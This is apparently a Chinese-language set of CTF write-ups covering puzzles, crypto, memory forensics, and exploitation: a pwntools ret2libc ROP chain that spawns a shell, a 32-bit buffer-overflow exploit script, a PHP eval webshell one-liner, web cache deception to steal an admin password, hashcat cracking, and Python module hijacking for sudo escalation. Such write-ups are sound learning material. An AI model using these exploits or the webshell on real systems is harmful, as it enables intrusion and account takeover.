莫斯档案馆
每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。
from PIL import Image
import re
def getMorse(image):
"""
从图像中提取莫尔斯电码
假定背景颜色是固定的,莫尔斯电码具有不同的颜色。
莫尔斯电码可以是任何颜色,只要它与左上像素的颜色不同。
>>> getMorse('pwd.png')
['----.']
"""
im = Image.open(image, 'r')
chars = []
background = im.getdata()[0]
for i, v in enumerate(list(im.getdata())):
if v == background:
chars.append(" ")
else:
chars.append("*")
output = "".join(chars)
# 清理输出,去除前后的空白
# 然后将每组3个星号转换为短横线
# 将星号转换为实际的点
# 将字母之间的空格(即>1个背景像素)转换为分隔符
# 删除空白
# 返回字母的列表
output = re.sub(r'^\s*', '', output)
output = re.sub(r'\s*$', '', output)
output = re.sub(r'\*{3}', '-', output)
output = re.sub(r'\*', '.', output)
output = re.sub(r'\s{2,}', ' | ', output)
output = re.sub(r'\s', '', output)
output = output.split('|')
return output
def getPassword(morse):
"""
解码莫尔斯电码
将莫尔斯电码转换回文本。
以字母列表为输入,返回转换后的文本。
注意,挑战使用小写字母。
>>> getPassword(['----.'])
'9'
"""
MORSE_CODE_DICT = {
'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D',
'.': 'E', '..-.': 'F', '--.': 'G', '....': 'H',
'..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
'--': 'M', '-.': 'N', '---': 'O', '.--.': 'P',
'--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
'..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
'-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
'..---': '2', '...--': '3', '....-': '4', '.....': '5',
'-....': '6', '--...': '7', '---..': '8', '----.': '9',
'-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?',
'-.--.': '(', '-....-': '-', '--..--': ','
}
for item in morse:
return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()
def main():
"""
自动启动
用于自动化。
自动调用方法并使用'pwd.png'作为输入图像。
"""
print(getPassword(getMorse("pwd.png")))
if __name__ == "__main__":
main()
并使用sh脚本去循环执行
#!/bin/bash
RESULT=0
while [ $RESULT -eq 0 ]
do
PASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"
ZIPFILE="$( ls *.zip )"
unzip -P "$PASSWORD" "$ZIPFILE"
RESULT=$?
echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"
cd flag
done
由于路径也过于长, 使用find也查不出来最外层的flag
$ find . -iname "flag" -type f -exec cat {} \;cat: ./flag/flag/[…]/flag/flag/flag: File name too long
利用脚本:
while [ $? -eq 0 ]; do cd flag/; done
cat flag
三角形
给定一个100 x 100的二维网格,每个“像素”上都有一个字符:
wc sources/grid.csv
# 100 100 20344 sources/grid.csv
flag是在此网格上的一系列点:
flagLocation.append([1,2]) # H
flagLocation.append([2,2]) # T
flagLocation.append([3,2]) # B
flagLocation.append([4,2]) # {
flagLocation.append([55,2]) # f
flagLocation.append([65,2]) # a
flagLocation.append([75,2]) # k
flagLocation.append([85,2]) # e
坐标并非直接给出,而是通过模糊处理:
x1 = random.randint(-7,7)
y1 = random.randint(-7,7)
x2 = random.randint(-7,7)
y2 = random.randint(-7,7)
x3 = random.randint(-7,7)
y3 = random.randint(-7,7)
p1 = [cap(x1 + x), cap(y1 + y)]
p2 = [cap(x2 + x), cap(y2 + y)]
p3 = [cap(x3 + x), cap(y3 + y)]
此外,我们知道到三个相邻节点的距离:
distances = [(val1,getDistance(x,y,p1[0], p1[1])),(val2,getDistance(x,y,p2[0], p2[1])),(val3,getDistance(x,y,p3[0], p3[1])),(f"{val1}{val2}",getDistance(p1[0], p1[1],p2[0], p2[1])),(f"{val2}{val3}",getDistance(p2[0], p2[1],p3[0], p3[1])),(f"{val1}{val3}",getDistance(p1[0], p1[1],p3[0], p3[1]))]
另外,节点上的字符并非唯一:
grep -aic '(' sources/grid.csv
# 67
这里有67个可能的节点"("。
由于分隔符,
有时用引号","
编码,因此行的长度不规则(而不是严格的199)。
解析数据。数据格式化为逗号分隔的CSV,非常直观:
with open('grid.csv') as _f:
for x in csv.reader(_f, delimiter=','):
GRID.append(x)
提示:
with open('out.csv') as _f:
__measures = []
for x in csv.reader(_f, delimiter=','):
__measures.append((x[0], round(float(x[1]), 4)))
if len(__measures) == 6:
MEASURES.append(copy.deepcopy(__measures))
__measures = []
模糊点总是位于以旗帜节点为中心的15 x 15正方形内。
为了确定给定节点是否是flag的一部分,我们为网格上的每个节点计算此邻域。
单个节点的过程如下:
def neighbors(grid: list, x: int, y: int) -> list:
__distances = {}
for i in range(cap(x - 7), cap(x + 8)):
for j in range(cap(y - 7), cap(y + 8)):
__d2 = round(d2(x, y, i , j), 4)
if __d2 not in __distances:
__distances[__d2] = {'nodes': [], 'locations': []}
__distances[__d2]['nodes'].append(grid[i][j])
__distances[__d2]['locations'].append((i, j))
return __distances
对于每个节点,最多需要225次计算
然后,此“field”数据可用于确定给定网格上的点是否满足所有距离以成为flag的一部分:
def is_candidate(node: dict, measures: list) -> bool:
# 获取目标字符和距离
__v1, __d1 = measures[0]
__v2, __d2 = measures[1]
__v3, __d3 = measures[2]
# 将距离四舍五入为4位小数
__d1 = round(__d1, 4)
__d2 = round(__d2, 4)
__d3 = round(__d3, 4)
# 1) 所有3个目标字符都在当前节点周围,且距离正确
__is_candidate = (
__d1 in node
and __d2 in node
and __d3 in node
and __v1 in node[__d1]['nodes']
and __v2 in node[__d2]['nodes']
and __v3 in node[__d3]['nodes']
)
# 2) 这3个点彼此之间的距离正确
if __is_candidate:
# 注意:每个值可能有多个匹配的点;所有这些点都必须进行测试
__i1 = [__i for __i, __v in enumerate(node[__d1]['nodes']) if __v == __v1]
__i2 = [__i for __i, __v in enumerate(node[__d2]['nodes']) if __v == __v2]
__i3 = [__i for __i, __v in enumerate(node[__d3]['nodes']) if __v == __v3]
# 获取匹配点的位置
__p1s = [node[__d1]['locations'][__i] for __i in __i1]
__p2s = [node[__d2]['locations'][__i] for __i in __i2]
__p3s = [node[__d3]['locations'][__i] for __i in __i3]
# 判断这3个点之间的距离是否正确
__d12s = [__d12 == round(d2(__p1[0], __p1[1], __p2[0], __p2[1]), 4) for __p1 in __p1s for __p2 in __p2s]
__d23s = [__d23 == round(d2(__p2[0], __p2[1], __p3[0], __p3[1]), 4) for __p2 in __p2s for __p3 in __p3s]
__d13s = [__d13 == round(d2(__p1[0], __p1[1], __p3[0], __p3[1]), 4) for __p1 in __p1s for __p3 in __p3s]
# 最终判断是否为候选点
__is_candidate = (
any(__d12s)
and any(__d23s)
and any(__d13s)
)
return __is_candidate
简而言之,该点必须:
四周都有指定在“out”文件中的3个字符,且距离正确
这3个点在彼此之间的距离正确
由于这些标准非常严格,我们期望每个标志字符仅匹配一个点:
print(''.join([candidates(FIELD, __m)[0] for __m in MEASURES]))
最后就会输出flag
餐厅
首先,
cmd: checksec --file=restaurant
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 78) Symbols No 0 2 restaurant
我们可以看到该二进制文件未被剥离(这通常是好事)。另一个要注意的是,挑战文件中包含一个 LIBC 二进制文件,因此可能是一次无信息泄露的 ret2libc 攻击,但让我们先来看看程序本身
🥡 Welcome to Rocky Restaurant 🥡
What would you like?
1. Fill my dish.
2. Drink something
> 1
You can add these ingredients to your dish:
1. 🍅
2. 🧀
You can also order something else.
> 1
Enjoy your 1
如果我们选择奶酪(2),答案是相同的。让我们试着 Drink something
🥡 Welcome to Rocky Restaurant 🥡
What would you like?
1. Fill my dish.
2. Drink something
> 2
What beverage would you like?
1. Water.
2. 🥤.
> 1
Enjoy your drink!
它也显示相同的消息,不管选择了哪个
尝试查找一些奇怪的行为,我发现了一个缓冲区溢出,使用以下输入:
🥡 Welcome to Rocky Restaurant 🥡
What would you like?
1. Fill my dish.
2. Drink something
> 1
You can add these ingredients to your dish:
1. 🍅
2. 🧀
You can also order something else.
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
所以,我们可能可以成功地应用最初的思路,即 ret2libc,因为没有 canaries 和没有 pie,所以我们可以溢出 RIP 并调用 system(/bin/sh)。
但首先,让我们在IDA中分析二进制文件,以完整地了解底层发生了什么。
反编译的代码对我们已经知道的信息没有太多补充,只是指出 read
函数读取 0x400 字节,这是很多的!
通过使用 GDB,我们可以看到返回地址和缓冲区的开始,因此我们可以计算偏移量以劫持执行流
gdb-peda$ disass fill
----snip----
0x0000000000400ebc <+114>: lea rax,[rbp-0x20]
0x0000000000400ec0 <+118>: mov edx,0x400
0x0000000000400ec5 <+123>: mov rsi,rax
0x0000000000400ec8 <+126>: mov edi,0x0
0x0000000000400ecd <+131>: call 0x400690 <read@plt>
0x0000000000400ed2 <+136>: lea rax,[rbp-0x20]
----snip----
0x0000000000400eea <+160>: nop
0x0000000000400eeb <+161>: leave
0x0000000000400eec <+162>: ret
gdb-peda$ b *0x0000000000400ed2 (after read)
gdb-peda$ b *0x0000000000400eec (at ret instruction)
gdb-peda$ r
gdb-peda$ w/wx $rbp-0x20
0x7fffffffe210: 0x41414141
gdb-peda$ c
gdb-peda$ x/wx $rsp
0x7fffffffe238: 0x00400ff3
gdb-peda$ p 0x7fffffffe238-0x7fffffffe210
$3 = 0x28
因此,为了滥用 ret
指令,我们需要用 40(0x28)字节的垃圾填充缓冲区。
接下来,我们需要泄漏一些 libc 地址,以计算库基地址。为了实现这一点,我使用了 pwntools 的 ROP 功能
rop = ROP(elf)
rop.call((rop.find_gadget(["ret"]))[0]) # ret instruction to align the stack
rop.call(elf.plt["puts"], [next(elf.search(b"\n\x00"))]) # call puts with a string containing a newline and a null-byte (to break the output message and ease the leak parsing)
rop.call(elf.plt["puts"], [elf.got["puts"]]) # call puts.plt with the puts.got address (to leak it)
rop.call(elf.symbols["fill"]) # after leaking, call fill again
这个 ROP 链生成了以下汇编代码
0x0000: 0x40063e 0x40063e() <- 用于对齐堆栈的 ret 指令
0x0008: 0x4010a3 pop rdi; ret <- 弹出 RDI(puts 函数参数)
0x0010: 0x400604 [arg0] rdi = 4195844 <- 调用
0x0018: 0x400650
0x0020: 0x4010a3 pop rdi; ret <- 弹出 RDI(puts.got 地址)
0x0028: 0x601fa8 [arg0] rdi = got.puts <- 调用
0x0030: 0x400650
0x0038: 0x400e4a 0x400e4a() <- 再次调用 fill
现在,我们需要解析泄漏并计算 libc 基地址
log.progress("Receiving junk ...")
print(com.recvline())
print(com.recvline())
print(com.recvline())
log.success("Leak received !")
leak = u64(com.recvuntil(b"\n").strip().ljust(8, b"\x00"))
log.info("Puts leaked address @ {}".format(hex(leak)))
libc.address = leak - libc.symbols["puts"]
之后,我们只需构建另一个 ROP 链来调用 system
,但这次使用 libc elf 中的地址
rop = ROP(libc)
rop.call((rop.find_gadget(["ret"]))[0]) # ret instruction to align the stack
rop.call(libc.symbols["system"], [next(libc.search(b"/bin/sh\x00"))])
然后,我们得到了一个 shell
$ whoami && id
ctf
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ ls -la
total 2016
drwxr-xr-x 1 root ctf 4096 Feb 23 14:16 .
drwxr-xr-x 1 root root 4096 Jan 22 02:23 ..
-r--r----- 1 root ctf 29 Feb 23 14:15 flag.txt
-rwxr-xr-x 1 root ctf 2030928 Feb 23 14:15 libc.so.6
-rwxr-x--- 1 root ctf 12952 Feb 23 14:15 restaurant
-rwxr-x--- 1 root ctf 41 Feb 23 14:15 run_challenge.sh
解密
首先将msg.enc
中的16进制数字串转化为相应的bytes
对象,其中的每个字符(b)与其对应的明文字符可以用如下模数方程表达
123∗char+18≡b(mod256)
通过如下模数运算步骤可以求解char
以上步骤需要对123进行模倒数计算,使用Python 3.8或之后的版本可以通过Python内置的pow
方法进行
##16进制数密文
encoded = '6e0a9372ec49a3f6930ed8723f9df6f6720ed8d89dc4937222ec7214d89d1e0e352ce0aa6ec82bf622227bb70e7fb7352249b7d893c493d8539dec8fb7935d490e7f9d22ec89b7a322ec8fd80e7f8921'
##将密文转换为bytes
encodedBytes = bytes.fromhex(encoded)
##明文
message = []
for b in encodedBytes:
##模数求解, 123的模倒数 pow(123, -1, 256) = 179
char = (b - 18) * pow(123, -1, 256)
char = char % 256
message.append(char)
##输出明文
print("message :", bytes(message))
你知道0xDiablos
查看文件属性
直接运行程序,输入test,得到一个回应
查看加固措施
checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
查看程序字符串,发现关键字flag.txt
rabin2 -z vuln
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x0000200a 0x0804a00a 8 9 .rodata ascii flag.txt
1 0x00002014 0x0804a014 35 36 .rodata ascii Hurry up and try in on server side.
2 0x00002038 0x0804a038 28 29 .rodata ascii You know who are 0xDiablos:
查看main函数,其调用vlun
查看vuln函数,gets()存在溢出
查看flag函数,发现打开一个文件,如果文件存在,获取内容,比较参数与0xdeadbeef
和0xc0ded00d
的比较,如果相等,则打印文件内容
获取偏移
pwndbg> cyclic -l 0x62616177
188
利用溢出,跳转到flag函数,覆盖两个参数的值为0xdeadbeef
和0xc0ded00d
,使flag函数打印内容
from pwn import *
io = remote('206.189.125.37',31129)
offset = 188
flag_addr = 0x80491e2
payload = 'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()
时间胶囊
这题忘记放远程环境了,可以看wp学习一下思路
相关的任务文件包括Python源代码文件server.py
以及一个在线的运行环境。
server.py
内容节选如下
Python 代码解读复制代码from Crypto.Util.number import bytes_to_long, getPrime
import socketserver
import json
FLAG = b'xujc{--REDACTED--}'
class TimeCapsule():
def __init__(self, msg):
self.msg = msg
self.bit_size = 1024
self.e = 5
def _get_new_pubkey(self):
while True:
p = getPrime(self.bit_size // 2)
q = getPrime(self.bit_size // 2)
n = p * q
phi = (p - 1) * (q - 1)
try:
pow(self.e, -1, phi)
break
except ValueError:
pass
return n, self.e
def get_new_time_capsule(self):
n, e = self._get_new_pubkey()
m = bytes_to_long(self.msg)
m = pow(m, e, n)
return {"time_capsule": f"{m:X}", "pubkey": [f"{n:X}", f"{e:X}"]}
def challenge(req):
time_capsule = TimeCapsule(FLAG)
while True:
try:
req.sendall(
b'Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) '
)
msg = req.recv(4096).decode().strip().upper()
if msg == 'Y' or msg == 'YES':
capsule = time_capsule.get_new_time_capsule()
req.sendall(json.dumps(capsule).encode() + b'\n')
elif msg == 'N' or msg == "NO":
req.sendall(b'Thank you, take care\n')
break
else:
req.sendall(b'I\'m sorry I don\'t understand\n')
except:
# Socket closed, bail
return
使用nc
连接到远端服务器上,可以得到多个加密结果
None 代码解读复制代码$ nc 165.227.233.6 30039
Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) Y
{"time_capsule": "284C49D57F9B6589E32632E4221CE06EB9893794609A0CE8484317F87BF695A1AF938533CE292E5D6FC3A94BE1587C6F3D0B9C63FFCB08DC9D3406C428F5398A62CB9362F50A57F1A15AA9F291955DC87B597EE8FCF47D1E95B7D77668C1041457CDCAD6116D5B3895CE11088479CC62E19DE7260F2B21098BD971EF0151CE21", "pubkey": ["EBC238B14DBA3DCCDA59EE85F189DF049F93D57CE4686C6DE5EC7B618AA315784227C498D64B11F2D804B52A5855D4B9806D5EBBF3610AC641DA84A39EECB94CFFE8574F6424656C8E60B04ADE87391AF7D1DB33ED7FCB4C17A07A05D3B32309557D24E8D1C7E2193AE4FE10107F5914ADC33192DFA8E684B447F3523916E129", "5"]}
Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) Y
{"time_capsule": "8F0CAB681FFEC55BD664E33D2EB2B51D64C404E84B2D96D8FC5D18D36643E7F2AF9FCAF76D008CDB2A1CB1A1F48C8E6555B3D9909D7EFE7B886ABA67021F1B6D12EEC46AC9AB5A868EA7F677DC1E7322D72DC2D9460887348E72F43C4268268D16DE501B13A20072DCE7DB9B9A2DD8868408A40530F574B395DAB6EDB1487564", "pubkey": ["90EFDD26C9F14F76FC9439F964044D0BB5AE973C9ADFE2E74CFCBBFB76DB992A2A93D47C9A79ECF3E4D6ADD576EC396057DA3D9B2426E92B55F8DC7E9C3330A70A21EF366CA00AFA90988A88D308B458A89C58191E7B74A38680898B06C97955A9430C39CC1D0C2A644152FED5D85820D28331D47839C337866CCB331D4A7845", "5"]}
Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) Y
{"time_capsule": "12E3112FADB4279CF7936781AFD179E39F7B3848F0C0313B49E015B651890A178C791AF5A295A2E21801BB23197EB945617E0707462127463B793CF18E2AB4D1A13FA27A53FE4FF92154067456DA1378A9C5A1E704031D2FF8E3CF9DEC6E8E34F22D70CE356FF9CD4E2D8BF57A2F7660AAAA92A87E9E352F2CB3760F478B966F", "pubkey": ["C456D31C4B04E68BE0A143196EA313DB2BB9E49C0270D290B905C3D407E65D2E47EF98CDAF3225DF93B159EB203B4D6D6B89E07BD6536CC5C46120668D0A9C272C15FCC86D2AA4AC7457A57CB730D530F1B5D45B8B18CB41E737D605A09EBBC4016089634F3BE96E228BE3823D48C85857E8C1F35BC083B8190FA46B801B1EB5", "5"]}
Welcome to Qubit Enterprises. Would you like your own ^Cme capsule? (Y/n)
从server.py
源代码我们可以知道其加密算法的实现可以用以下数学公式表达:
me≡c(modn)m ^ e \equiv c \pmod {n} me≡c(modn)
其中,m
是明文,e
是常数5, c
对应于加密输出中的time_capsule
,n
对应于加密输出中pubkey
的第一个部分。 m
是所求的未知数,e
,c
和n
则是已知数。并且在每次加密过程中,m
和e
都保持不变。
使用中国余数定理, 我们可以使用多个加密输出结果计算得到m
的e
次方,然后开方就可求得m
。 中国余数定理又称孙子剩余定理, 是中国古代数学中具有世界级影响的贡献之一, 甚至于金庸先生所著的«射雕英雄传»中对其基本形式和解法也有所提及。
以下解题代码使用的工具库包括PyCryptodome
和SymPy
Python 代码解读复制代码
from sympy.ntheory.modular import crt
from sympy import integer_nthroot
from Crypto.Util.number import long_to_bytes
##加密输出 1
c1 = 0x284C49D57F9B6589E32632E4221CE06EB9893794609A0CE8484317F87BF695A1AF938533CE292E5D6FC3A94BE1587C6F3D0B9C63FFCB08DC9D3406C428F5398A62CB9362F50A57F1A15AA9F291955DC87B597EE8FCF47D1E95B7D77668C1041457CDCAD6116D5B3895CE11088479CC62E19DE7260F2B21098BD971EF0151CE21
n1 = 0xEBC238B14DBA3DCCDA59EE85F189DF049F93D57CE4686C6DE5EC7B618AA315784227C498D64B11F2D804B52A5855D4B9806D5EBBF3610AC641DA84A39EECB94CFFE8574F6424656C8E60B04ADE87391AF7D1DB33ED7FCB4C17A07A05D3B32309557D24E8D1C7E2193AE4FE10107F5914ADC33192DFA8E684B447F3523916E129
##加密输出 2
c2= 0x8F0CAB681FFEC55BD664E33D2EB2B51D64C404E84B2D96D8FC5D18D36643E7F2AF9FCAF76D008CDB2A1CB1A1F48C8E6555B3D9909D7EFE7B886ABA67021F1B6D12EEC46AC9AB5A868EA7F677DC1E7322D72DC2D9460887348E72F43C4268268D16DE501B13A20072DCE7DB9B9A2DD8868408A40530F574B395DAB6EDB1487564
n2=0x90EFDD26C9F14F76FC9439F964044D0BB5AE973C9ADFE2E74CFCBBFB76DB992A2A93D47C9A79ECF3E4D6ADD576EC396057DA3D9B2426E92B55F8DC7E9C3330A70A21EF366CA00AFA90988A88D308B458A89C58191E7B74A38680898B06C97955A9430C39CC1D0C2A644152FED5D85820D28331D47839C337866CCB331D4A7845
##加密输出 3
c3 = 0x12E3112FADB4279CF7936781AFD179E39F7B3848F0C0313B49E015B651890A178C791AF5A295A2E21801BB23197EB945617E0707462127463B793CF18E2AB4D1A13FA27A53FE4FF92154067456DA1378A9C5A1E704031D2FF8E3CF9DEC6E8E34F22D70CE356FF9CD4E2D8BF57A2F7660AAAA92A87E9E352F2CB3760F478B966F
n3 = 0xC456D31C4B04E68BE0A143196EA313DB2BB9E49C0270D290B905C3D407E65D2E47EF98CDAF3225DF93B159EB203B4D6D6B89E07BD6536CC5C46120668D0A9C272C15FCC86D2AA4AC7457A57CB730D530F1B5D45B8B18CB41E737D605A09EBBC4016089634F3BE96E228BE3823D48C85857E8C1F35BC083B8190FA46B801B1EB5
##使用中国余数定理计算m的e次方
x = crt([n1, n2, n3], [c1, c2, c3], check=True)
print("x=", x)
##开e次方求解m
m = integer_nthroot(x[0], 5)
print("m=", m)
##输出明文
flag = long_to_bytes(m[0])
print("flag=", flag)
可疑流量
首先解压提供的文件并进入解压目录。
根据imageinfo.txt
文件,建议的内存配置文件为Win7SP1x64。
根据.eml
文件,可推测内存中可能存在简历文件,使用以下命令搜索:
volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | grep resume
第二个结果可能是目标,将其提取到新建的目录中:
volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 dumpfiles --physoffset 0x000000001e8feb70 --dump-dir dumpedMemory
进入该目录
查看第一个文件内容
发现一段Base64编码字符串,尝试解码。在多次解码后就能成功获取flag
崔の网站 1
扫目录会发现有.git泄漏
会发现有一个swp状态的文件
先vim -r .test.php.swp
恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计
先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系
nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知道,继续往下看
引用了ctf.conf
可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080
,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样
并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php
在index.php可以归结出3种路由
第一种是visit
可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。
第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方
第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入
一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码
第二种是直接去访问路径里的其他文件
接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。
接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。如果思维比较跳跃的同学看到这里应该就知道要做什么了,结合前面index.php看到的profile路由,既然我们可以带着管理员的cookie去访问我们给uri赋值的任意路径,那么我们如果去访问profile岂不是就能拿到账号密码了。
但我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗?
所以我们可以构造这样一个payload
uri=profile/1.css
可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1
是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css
就能得到结果
拿到密码后发现直接用这串密码是sha256加密过的,需要爆破
通过man hashcat
查询sha256编号
把密码存进hash文件里,直接上rockyou
得到明文starbucks
登陆后看到可以执行命令
直接写一句马上蚁剑
echo -n '<?php eval($_POST[1]);?>' > 1.php
在/var/www看到一个文件pass
发现开着22
并且有nginx重启权限
而靶机只提供了一个端口,因此可以通过重写nginx的stream块进行端口转发
并且记得将这两句注释,否则会因为http块占用80端口导致冲突无法正常重启
检查一下。虽然没有权限,但可以检查配置是否正确
重启前确认一下用户名应该叫czj
然后重启,上ssh即可
崔の网站 2
因为家目录下还有一个zsm,所以应该这里还藏着一个flag。想到涉及到密码的应该就只有web登陆时候的登陆请求,并且内层为apache,所以直接看apache请求日志
发现第一条就是
并且无需爆破,可以直接登陆
崔の网站 3
发现可以以sudo运行一个py脚本
先看一下这个脚本是什么
可以看到大概就是在生成随机数,并引入了一个random包,所以可以利用python优先引用当前路径下py包的特性写一个random.py
(这里出题的时候忘记把自己测试的random.py删掉了= =能打到这步最后root的flag属于送分)